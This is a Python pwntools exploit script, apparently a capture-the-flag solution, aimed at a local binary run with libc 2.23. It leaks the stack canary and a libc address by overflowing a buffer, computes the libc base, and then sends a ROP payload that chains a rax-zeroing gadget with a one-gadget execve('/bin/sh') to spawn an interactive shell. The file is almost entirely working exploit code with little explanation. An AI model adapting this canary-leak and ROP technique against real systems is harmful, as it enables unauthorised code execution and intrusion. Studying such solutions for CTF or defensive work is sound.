#!/usr/bin/env python

from pwn import *
import os

def feed(food):
    p.recvuntil('>>')
    p.sendline('1')
    p.recvuntil('>>')
    p.send(food)

def review():
    p.recvuntil('>>')
    p.sendline('2')
    p.recvuntil('PLEASE TREAT HIM WELL.....\n-------------------------\n')
    return p.recvuntil('-------------------------').replace('\n-------------------------', '')

def mine():
    p.recvuntil('>>')
    p.sendline('3')

def leak_canary():
    feed('a' * (0xb0 - 8) + '\n')
    food = review()
    return '\x00' + food.replace('a' * (0xb0 - 8) + '\n', '')[0:7]

def leak_libc():
    feed('a' * 183 + '\n')
    food = review()
    libc_start_addr = u64(food[184:] + '\x00\x00') # __libc_start_main+240
    return libc_start_addr - 240 - 0x20740

p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

canary = leak_canary()

libc_base = leak_libc()

print 'libc base: {}'.format(hex(libc_base))

'''
0x45216	execve("/bin/sh", rsp+0x30, environ)
constraints:
    rax == NULL
'''

print 'zero out rax: {}'.format(hex(libc_base + 0x8b8c5))
print 'one gadget: {}'.format(hex(libc_base + 0x45216))

feed('a' * 168 + \
     canary + \
     # to zero out rax with "xor rax, rax; ret;"
     p64(libc_base + 0x8b8c5) + \
     # execve("/bin/sh", rsp+0x30, environ)
     p64(libc_base + 0x45216) + \
     '\n')

mine()

p.interactive()

